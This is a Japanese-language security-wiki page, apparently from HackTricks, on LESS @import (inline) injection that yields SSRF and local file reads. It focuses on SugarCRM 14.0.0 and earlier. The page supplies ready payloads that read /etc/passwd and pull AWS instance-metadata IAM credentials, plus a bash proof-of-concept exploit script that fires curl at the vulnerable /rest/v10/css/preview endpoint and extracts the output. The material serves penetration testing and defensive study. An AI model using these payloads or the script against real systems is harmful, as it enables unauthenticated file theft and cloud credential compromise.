SSRF 脆弱なプラットフォーム

Reading time: 5 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

参照 https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

LESS Code Injection leading to SSRF & ローカルファイル読み取り

LESS は変数、mixin、関数、強力な @import ディレクティブを追加する人気のある CSS プリプロセッサです。コンパイル時に LESS エンジンは @import で参照されたリソースをフェッチし(inline) オプションが使用されている場合はその内容を生成された CSS に埋め込み(インライン化)ます。

アプリケーションがユーザー制御の入力を LESS コンパイラによって後でパースされる文字列に連結していると、攻撃者は 任意の LESS コードを注入できます。@import (inline) を悪用することで、攻撃者はサーバーに対して以下を取得させることができます:

  • ローカルファイルを file:// プロトコル経由で取得(情報漏洩 / Local File Inclusion)。
  • 内部ネットワーク上やクラウドのメタデータサービス上のリモートリソース(SSRF)。

この手法は SugarCRM ≤ 14.0.0/rest/v10/css/preview エンドポイント)などの実製品でも確認されています。

Exploitation

  1. LESS エンジンで処理されるスタイルシート文字列に直接埋め込まれているパラメータを特定する(例: SugarCRM の ?lm=)。
  2. 現在のステートメントを閉じ、新しいディレクティブを注入する。よく使われるプリミティブは:
    • ; – 前の宣言を終了する。
    • } – 前のブロックを閉じる(必要な場合)。
  3. @import (inline) '<URL>'; を使って任意のリソースを読み取る。
  4. 取り込んだ内容をコンパイル済み CSS から抽出しやすくするため、インポートの後にオプションで markerdata: URI)を注入する。

ローカルファイル読み取り

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd の内容は、HTTPレスポンスの @@END@@ マーカー直前に表示されます。

SSRF – クラウドメタデータ

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

自動化された PoC (SugarCRM の例)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

実際の事例

製品脆弱なエンドポイント影響
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=認証不要の SSRF とローカルファイルの読み取り

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする